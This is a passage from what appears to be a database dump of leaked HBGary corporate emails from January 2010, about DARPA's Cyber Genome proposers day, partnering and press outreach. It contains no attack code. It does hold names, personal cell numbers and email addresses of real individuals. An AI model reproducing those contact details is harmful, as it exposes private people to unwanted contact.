<ted@hbgary.com>','/aaron@hbgary.com/new/1297000489.M858530P3547Q1614.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Cyber Genome Conf Date Feb 9','Just in case there is any confusion, and there is some reason for\r\nconfusion...  The Proposers Day is scheduled for Feb 9th (see below -\r\nfrom registration website).\r\n\r\nTed\r\n\r\nWelcome to the\r\nFeb - DARPA\'s Cyber Genome Proposer Day Conference\r\nAnne Grosvenor\r\nSystem Planning Corporation\r\n3601 Wilson Blvd\r\nArlington, Virginia 22201\r\nPhone:703-351-8794\r\nEmail: agrosvenor@sysplan.com\r\n\r\nNOTE: The date listed on FedBizOpps is incorrect and the actual\r\nconference date is February 9th, 2010\r\n',5705,'aaron_hbgary_com/5705.html'),(1614,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000489.M95314P3547Q1611.eml','aaron@hbgary.com,aaron@hbgary.com,','Confirm 451 Group Phone Briefing Today at 2 PM ET','Hi Aaron, As discussed, you are confirmed for your phone briefing today with 451 Group Paul Roberts at 2 PM ET. Please use the dial-in provided for the call, which is on the attached briefing sheet. Since Paul did a briefing with both Greg and Penny in November, I added them to this mail&nbsp; in case they wanted to give you a headsup on anything that came out of that briefing.&nbsp;Most of the details are in the briefing sheet.\r\n&nbsp;\r\nI told Paul that Palantir was not available the next few days so could not participate. He may ask to do a briefing&nbsp;with them. If so, we can provide him with their contact info. Although Paul is an analyst, he does a lot of writing so assume everything is on&nbsp;the record unless you explicitly ask him ahead of time to keep certain information under embargo.&nbsp;\r\n&nbsp;\r\nThanks Aaron. As I mentioned, I am heading out of the office shortly, but should be able to participate via phone. Please&nbsp;call me on my cell 650-814-3764 if you have any questions or concerns. \r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\n\r\n\r\n',9384,'aaron_hbgary_com/9384.html'),(1615,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000490.M292953P3547Q1616.eml','\"Dan McCarthy\" <dmccarth@bbn.com>','Re: Cyber Genome opportunity','Hi Dan,\r\n\r\nI\'m in Colorado Springs (Mountain Time) and my calendar is pretty open\r\nthis afternoon.  No, HBGary is not affiliated with Raytheon.  I look\r\nforward to your call.  In the meantime, are you familiar with our\r\nDigital DNA Malware Genome and Responder Products?  You can learn more\r\non our website here:\r\nhttps://www.hbgary.com/products-services/digital-dna/\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Wed, Jan 27, 2010 at 9:48 AM, Dan McCarthy  wrote:\r\n> Hi Ted,\r\n>\r\n> I\'ll give you a call early this afternoon (what time is good).  Are you part\r\n> of Raytheon? The customer seems to think so.\r\n>\r\n> Dan\r\n>\r\n> On Jan 27, 2010, at 11:23 AM, Ted Vera wrote:\r\n>\r\n>> Hi Dan,\r\n>>\r\n>> Are you requesting to discuss possible teaming on this opportunity?\r\n>> Feel free to call me if you would like to discuss.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>> On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n>>>\r\n>>> Ted and Anthony,\r\n>>>\r\n>>> I\'d like to setup a call with you to discuss attendance at this industry\r\n>>> day. I understand from the customer that you have both registered to\r\n>>> attend.\r\n>>>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have been\r\n>>> closely following it.  Unfortunately, attendance is limited to three\r\n>>> people\r\n>>> per company (mothership Raytheon), but having the two industry days will\r\n>>> help.\r\n>>>\r\n>>> When is a good time to talk? Can you send me your phone numbers?\r\n>>>\r\n>>> Dan\r\n>>>\r\n>>> _________________________________\r\n>>> Dan McCarthy, PhD\r\n>>> Deputy Manager\r\n>>> Cyber Security\r\n>>> Raytheon / BBN Technologies\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> _________________________________\r\n> Dan McCarthy, PhD\r\n> Deputy Manager\r\n> Cyber Security\r\n> Raytheon / BBN Technologies\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10328,'aaron_hbgary_com/10328.html'),(1616,'2010-01-27','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000490.M538903P3547Q1617.eml','aaron@hbgary.com,aaron@hbgary.com,','Re: Confirm 451 Group Phone Briefing Today at 2 PM ET','Hi Aaron, I am confirming this call with Paul at 2 PM ET. Heading out of office now -- call me on my cell if you need me. Best, K--- On Wed, 1/27/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Confirm 451 Group Phone Briefing Today at 2 PM ETTo: aaron@hbgary.comCc: penny@hbgary.com, greg@hbgary.comDate: Wednesday, January 27, 2010, 8:14 AM\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, As discussed, you are confirmed for your phone briefing today with 451 Group Paul Roberts at 2 PM ET. Please use the dial-in provided for the call, which is on the attached briefing sheet. Since Paul did a briefing with both Greg and Penny in November, I added them to this mail&nbsp; in case they wanted to give you a headsup on anything that came out of that briefing.&nbsp;Most of the details are in the briefing sheet.\r\n&nbsp;\r\nI told Paul that Palantir was not available the next few days so could not participate. He may ask to do a briefing&nbsp;with them. If so, we can provide him with their contact info. Although Paul is an analyst, he does a lot of writing so assume everything is on&nbsp;the record unless you explicitly ask him ahead of time to keep certain information under embargo.&nbsp;\r\n&nbsp;\r\nThanks Aaron. As I mentioned, I am heading out of the office shortly, but should be able to participate via phone. Please&nbsp;call me on my cell 650-814-3764 if you have any questions or concerns. \r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\n',11330,'aaron_hbgary_com/11330.html'),(1617,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000490.M57857P3547Q1615.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Cyber Genome Proposers Day','---------- Forwarded message ----------\r\nFrom: Blankenship, Larry (contr-sto) \r\nDate: Wed, Jan 27, 2010 at 9:39 AM\r\nSubject: Re: Cyber Genome Proposers Day\r\nTo: \"ted@hbgary.com\" \r\n\r\n\r\nThanks Ted, we just transposed your name with one of Raytheons subs-\r\nlots of moving parts on this end!\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera \r\nTo: Blankenship, Larry (contr-sto)\r\nSent: Wed Jan 27 11:34:53 2010\r\nSubject: Re: Cyber Genome Proposers Day\r\n\r\nNo problem Larry, 1600 is fine.  Just out of curiosity, do you have\r\nany idea why Raytheon and HBGary were being tied together?\r\n\r\nThanks!\r\nTed\r\n\r\n\r\nOn Wed, Jan 27, 2010 at 9:32 AM, Blankenship, Larry (contr-sto)\r\n wrote:\r\n> Ted,\r\n>\r\n> Sorry, mistake on this end.  How about 1600?  I will send out a separate email.\r\n>\r\n> V/r\r\n>\r\n> Larry\r\n>\r\n> ----- Original Message -----\r\n> From: Ted Vera \r\n> To: Blankenship, Larry (contr-sto)\r\n> Sent: Wed Jan 27 10:24:44 2010\r\n> Subject: Re: Cyber Genome Proposers Day\r\n>\r\n> Mr Blankenship,\r\n>\r\n> I\'m not sure where the confusion originates, but there is no\r\n> affiliation between HBGary and Raytheon.  Did something or someone\r\n> suggest otherwise?\r\n>\r\n> Ted Vera\r\n>\r\n> On Wed, Jan 27, 2010 at 6:23 AM, Blankenship, Larry (contr-sto)\r\n>  wrote:\r\n>> Greetings Mr. Vera and Mr. Stoopin,\r\n>>\r\n>> After reviewing the individual session requests, we realized that your company has two slots (Raytheon & HBGary).  Please coordinate between your company and provide a single POC for the individual session requests.  I will hold the 1400-1430 slot awaiting your decision, but will place the 1430-1500 slot back into the pool.\r\n>>\r\n>> Additionally, please note that attendance to the proposer\'s day itself may be limited to three individuals per organization.\r\n>>\r\n>> I apologize for any confusion in this matter.  Please feel free to call me to discuss further.\r\n>>\r\n>> V/r\r\n>>\r\n>> Larry Blankenship\r\n>> SETA DARPA/STO\r\n>> 703-248-1511\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Blankenship, Larry (contr-sto)\r\n>> Sent: Wednesday, January 27, 2010 7:48 AM\r\n>> To: \'Ted Vera\'\r\n>> Cc: Moore, Renee (contr-sto)\r\n>> Subject: RE: Cyber Genome Proposers Day\r\n>>\r\n>> Greetings Mr. Vera,\r\n>>\r\n>> I have your company scheduled from 1430-1500 with Dr. VanPutte.  Please limit your conversation to the time allotted as Dr. VanPutte wants to be fair to all visitors.  To assist in keeping your ideas in line with DARPA\'s objectives, and to make your discussion as enriching as possible, may I suggest you canvas your ideas against the Heilmeier Catechism prior to your arrival;\r\n>>\r\n>> -What are you trying to do? Articulate your objectives using absolutely no jargon.\r\n>> -How is it done today, and what are the limits of current practice?\r\n>> -What\'s new in your approach and why do you think it will be successful?\r\n>> -Who cares? If you\'re successful, what difference will it make?\r\n>> -What are the risks and the payoffs?\r\n>> -How much will it cost? How long will it take?\r\n>> -What are the midterm and final \"exams\" to check for success?\r\n>>\r\n>> I am looking forward to seeing you at the proposer\'s day.\r\n>>\r\n>> V/r\r\n>>\r\n>> Larry\r\n>>\r\n>> Larry Blankenship\r\n>> SETA/DARPA STO\r\n>> 703-248-1511\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, January 26, 2010 6:15 PM\r\n>> To: Blankenship, Larry (contr-sto)\r\n>> Subject: Cyber Genome Proposers Day\r\n>>\r\n>> Hello Mr. Blankenship,\r\n>>\r\n>> HBGary would like to schedule and individual session with Dr. VanPutte to discuss the Cyber Genome Project after the February 9th Proposers day.\r\n>>\r\n>>\r\n>> Regards,\r\n>> Ted Vera\r\n>>\r\n>>\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HB Gary Federal\r\n>> ted@hbgary.com\r\n>> Office:  916-459-4727 ext 118\r\n>> Cell:  719-237-8623\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4818,'aaron_hbgary_com/4818.html'),(1618,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000490.M732974P3547Q1618.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Cyber Genome opportunity','This is comical.  I\'ll literally still laughing out loud.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Jan 27, 2010 at 9:54 AM\r\nSubject: Re: Cyber Genome opportunity\r\nTo: Dan McCarthy \r\n\r\n\r\nHi Dan,\r\n\r\nI\'m in Colorado Springs (Mountain Time) and my calendar is pretty open\r\nthis afternoon.  No, HBGary is not affiliated with Raytheon.  I look\r\nforward to your call.  In the meantime, are you familiar with our\r\nDigital DNA Malware Genome and Responder Products?  You can learn more\r\non our website here:\r\nhttps://www.hbgary.com/products-services/digital-dna/\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Wed, Jan 27, 2010 at 9:48 AM, Dan McCarthy  wrote:\r\n> Hi Ted,\r\n>\r\n> I\'ll give you a call early this afternoon (what time is good).  Are you part\r\n> of Raytheon? The customer seems to think so.\r\n>\r\n> Dan\r\n>\r\n> On Jan 27, 2010, at 11:23 AM, Ted Vera wrote:\r\n>\r\n>> Hi Dan,\r\n>>\r\n>> Are you requesting to discuss possible teaming on this opportunity?\r\n>> Feel free to call me if you would like to discuss.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>> On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n>>>\r\n>>> Ted and Anthony,\r\n>>>\r\n>>> I\'d like to setup a call with you to discuss attendance at this industry\r\n>>> day. I understand from the customer that you have both registered to\r\n>>> attend.\r\n>>>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have been\r\n>>> closely following it.  Unfortunately, attendance is limited to three\r\n>>> people\r\n>>> per company (mothership Raytheon), but having the two industry days will\r\n>>> help.\r\n>>>\r\n>>> When is a good time to talk? Can you send me your phone numbers?\r\n>>>\r\n>>> Dan\r\n>>>\r\n>>> _________________________________\r\n>>> Dan McCarthy, PhD\r\n>>> Deputy Manager\r\n>>> Cyber Security\r\n>>> Raytheon / BBN Technologies\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> _________________________________\r\n> Dan McCarthy, PhD\r\n> Deputy Manager\r\n> Cyber Security\r\n> Raytheon / BBN Technologies\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15113,'aaron_hbgary_com/15113.html'),(1619,'2010-01-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000490.M930937P3547Q1619.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Pentagon Searches for \'Digital DNA\' to Identify Hackers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes I know about this and once we have it in hand, we&#8217;ll pull\r\nthat plug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 5:49 AM\r\nTo: Penny Leavy-Hoglund; Greg Hoglund\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttp://www.digitaldnagroup.com/\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 2:12 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen you talk to him, please tell him Digital DNA is pending\r\ntrademark approval and we should have it soon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Karen Burke\r\n[mailto:karenmaryburke@yahoo.com]&nbsp;\r\nSent:&nbsp;Tuesday, January 26,\r\n2010 9:27 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;penny@hbgary.com;&nbsp;greg@hbgary.com\r\nSubject:&nbsp;Re: Pentagon\r\nSearches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Hi Aaron, I already spoke with reporter Brian Krebs and he\r\n  is interested in the story. I sent&nbsp; him the Wired piece and our Palantir\r\n  announcement, which is a great news hook. That said, I will pitch&nbsp;our\r\n  other key security/government pubs. Aside from our ability to ID hackers,\r\n  anything else that will help advance this story -- are you finding that this\r\n  is an increasingly important&nbsp;technology ability&nbsp;for government\r\n  agencies? Do we work with the Pentagon? Thanks, Karen\r\n  \r\n  --- On&nbsp;Tue, 1/26/10, Aaron\r\n  Barr&nbsp;&lt;aaron@hbgary.com&gt;&nbsp;wrote:\r\n  \r\n  \r\n  From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n  Subject: Re: Pentagon Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc:&nbsp;penny@hbgary.com,&nbsp;greg@hbgary.com\r\n  Date: Tuesday, January 26, 2010, 8:09 AM\r\n  \r\n  \r\n  Is it possible to get in with Wired for an interview\r\n  talking about our existing capabilities? &nbsp;how do we leverage this?\r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  On Jan 26, 2010, at 10:58 AM, Karen Burke wrote:\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    Take a look at this story in today\'s Wired -- do you\r\n    work with DARPA? Are you familiar with its Cyber Genome project? Can\r\n    HBGary\'s Digital DNA already solve this problem?\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Pentagon\r\n    Searches for &#8216;Digital DNA&#8217; to Identify Hackers\r\n    \r\n    \r\n    http://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  \r\n  \r\n  \r\n  \r\n  CEO\r\n  \r\n  \r\n  \r\n  \r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14204,'aaron_hbgary_com/14204.html'),(1620,'2010-01-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000491.M122910P3547Q1620.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Cyber Genome opportunity','Interesting.  I know Bob is having discussions with Raytheon, perhaps they\r\nare getting ahead of themselves\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, January 27, 2010 9:00 AM\r\nTo: Penny Leavy; Greg Hoglund; Barr Aaron; Rich Cummings; Bob Slapnik\r\nSubject: Fwd: Cyber Genome opportunity\r\n\r\nThis is comical.  I\'ll literally still laughing out loud.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Wed, Jan 27, 2010 at 9:54 AM\r\nSubject: Re: Cyber Genome opportunity\r\nTo: Dan McCarthy \r\n\r\n\r\nHi Dan,\r\n\r\nI\'m in Colorado Springs (Mountain Time) and my calendar is pretty open\r\nthis afternoon.  No, HBGary is not affiliated with Raytheon.  I look\r\nforward to your call.  In the meantime, are you familiar with our\r\nDigital DNA Malware Genome and Responder Products?  You can learn more\r\non our website here:\r\nhttps://www.hbgary.com/products-services/digital-dna/\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Wed, Jan 27, 2010 at 9:48 AM, Dan McCarthy  wrote:\r\n> Hi Ted,\r\n>\r\n> I\'ll give you a call early this afternoon (what time is good).  Are you\r\npart\r\n> of Raytheon? The customer seems to think so.\r\n>\r\n> Dan\r\n>\r\n> On Jan 27, 2010, at 11:23 AM, Ted Vera wrote:\r\n>\r\n>> Hi Dan,\r\n>>\r\n>> Are you requesting to discuss possible teaming on this opportunity?\r\n>> Feel free to call me if you would like to discuss.\r\n>>\r\n>> Regards,\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>> On Wed, Jan 27, 2010 at 9:02 AM, Dan McCarthy  wrote:\r\n>>>\r\n>>> Ted and Anthony,\r\n>>>\r\n>>> I\'d like to setup a call with you to discuss attendance at this industry\r\n>>> day. I understand from the customer that you have both registered to\r\n>>> attend.\r\n>>>  We \"seeded\" the BAA by providing the ideas to Dr. VanPutte and have\r\nbeen\r\n>>> closely following it.  Unfortunately, attendance is limited to three\r\n>>> people\r\n>>> per company (mothership Raytheon), but having the two industry days will\r\n>>> help.\r\n>>>\r\n>>> When is a good time to talk? Can you send me your phone numbers?\r\n>>>\r\n>>> Dan\r\n>>>\r\n>>> _________________________________\r\n>>> Dan McCarthy, PhD\r\n>>> Deputy Manager\r\n>>> Cyber Security\r\n>>> Raytheon / BBN Technologies\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> _________________________________\r\n> Dan McCarthy, PhD\r\n> Deputy Manager\r\n> Cyber Security\r\n> Raytheon / BBN Technologies\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',14267,'aaron_hbgary_com/14267.html'),(1621,'2010-01-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000491.M343755P3547Q1621.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Malware Genome Project','Bob is going to Philly on 2/2/10 for  DHS presentation.  We have done a\r\ngreat job for them and Doug Maughn used to work at DARPA.  I\'ve asked Bob to\r\nask him if we can use him as a reference\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:36 PM\r\nTo: Penny Leavy-Hoglund; Greg Hoglund; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Malware Genome Project\r\n\r\nOK guys my take on all of this.  As your very aware... HBGary is in a\r\nveerrrrry good position.  I agree we don\'t want to ruffle any good existing\r\nrelationships.  That said, I don\'t think we should commit to any\r\npartnerships until after the vendor day presentation.  This will give us\r\ntime to do our research on the players, who is best positioned, has\r\ncomplimentary or existing capabilities.  See who approaches us, etc.\r\n\r\nA few things we need to ask of anyone that wants to partner with us.  What\r\nare their existing relationships/contracts with DARPA and the Pentagon.\r\nWhat existing capabilities do they have to lend to this effort.  Anyone that\r\nis a negative on both questions, despite relationships, I recommend we don\'t\r\npartner.\r\n\r\nFirst step I will talk with Sparta tomorrow and provide feedback.  What I\r\nknow of Sparta off the cuff is they have a long standing relationship with\r\nDARPA with many awards and have an impressive shelf of cybersecurity\r\nIP/Products.  They are somewhat unique in the larger defense contractor\r\nworld in that respect.  Northrop Grumman has no capability here but has some\r\ngood relationships with DARPA, same goes for SAIC and Lockheed.  I imagine\r\nGD fits in the same boat but I don\'t know them as well.\r\n\r\nThe speed at which this is going forward shows their urgency in developing\r\ncapability, the fact that we already have something working...huge, and also\r\npotentially (history shows this to be a decent assertion) they might have\r\nalready talked to one or some contractors and have a line on direction.\r\n\r\nAaron\r\n\r\n',8711,'aaron_hbgary_com/8711.html'),(1622,'2010-01-27','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000491.M532068P3547Q1622.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s just be sure we don&#8217;t let them know where we are going.&nbsp;\r\nWhat we have is fine and we are WAY ahead of them.&nbsp; They lost their main\r\ndeveloper on this because he left to start his own company\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 8:45 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Ted Vera\'\r\nSubject: Re: ManTech\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;I understand the issues I think and we can\r\ntake it as it comes. &nbsp;I have strong relationships at the most senior\r\nlevels of the company, hopefully that helps. &nbsp;I am not sure where Dan fits\r\nin the organization. &nbsp;Productizing is the new black for defense\r\ncontractors trying to eek out as much profit as possible in a tight economy,\r\nhowever where there is an existing robust technology Mantech is not interested\r\nin reinventing, or so Alex Nieves told me, he is the VP for the Cyber and\r\nForensics OU. &nbsp;I think we can find areas to collaborate, but there is\r\ndefinitely some overlap and they will look out for their best interests first.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich and I have a demo scheduled for next week to Alex and\r\nhis team, we will see how it goes.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 1:36 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is some feedback on ManTech.&nbsp; You might want to be\r\ncareful\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, January 26,\r\n2010 9:46 AM\r\nTo:&nbsp;Rich Cummings; Matt\r\nO\'Flynn\r\nCc:&nbsp;Penny C. Hoglund\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich and Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary needs to use extreme caution when dealing with\r\nManTech.&nbsp; Coincidentally, I just called and spoke with&nbsp;Dan Hall of\r\nManTech who told me he drank with Matt and Phil at&nbsp;DC3 last\r\nnight.&nbsp;&nbsp;ManTech&nbsp;views themselves as an HBGary competitor.&nbsp;\r\nThey&nbsp;have developed a suite of memory analysis (Jesse Kornblum) and binary\r\nr/e tools over the years.&nbsp; Their CEO is considering productizing these technologies\r\nto grow revenue.&nbsp; Dan&nbsp;thinks ManTech should stick with\r\nservices.&nbsp; But in any case, it would be a&nbsp;long shot for ManTech to\r\nactually put up&nbsp;money to buy HBGary software for either internal or\r\ncustomer&nbsp;services use.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI could see where ManTech might string us along to do\r\ndetailed evaluations, but it would only be to milk us for info, not for actual\r\nmonetary transactions.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;I leave open the possibility that we could do\r\nbusiness, but there is a bar of distrust (with us and them) that we would have\r\nto get past.\r\n\r\n--&nbsp;\r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal 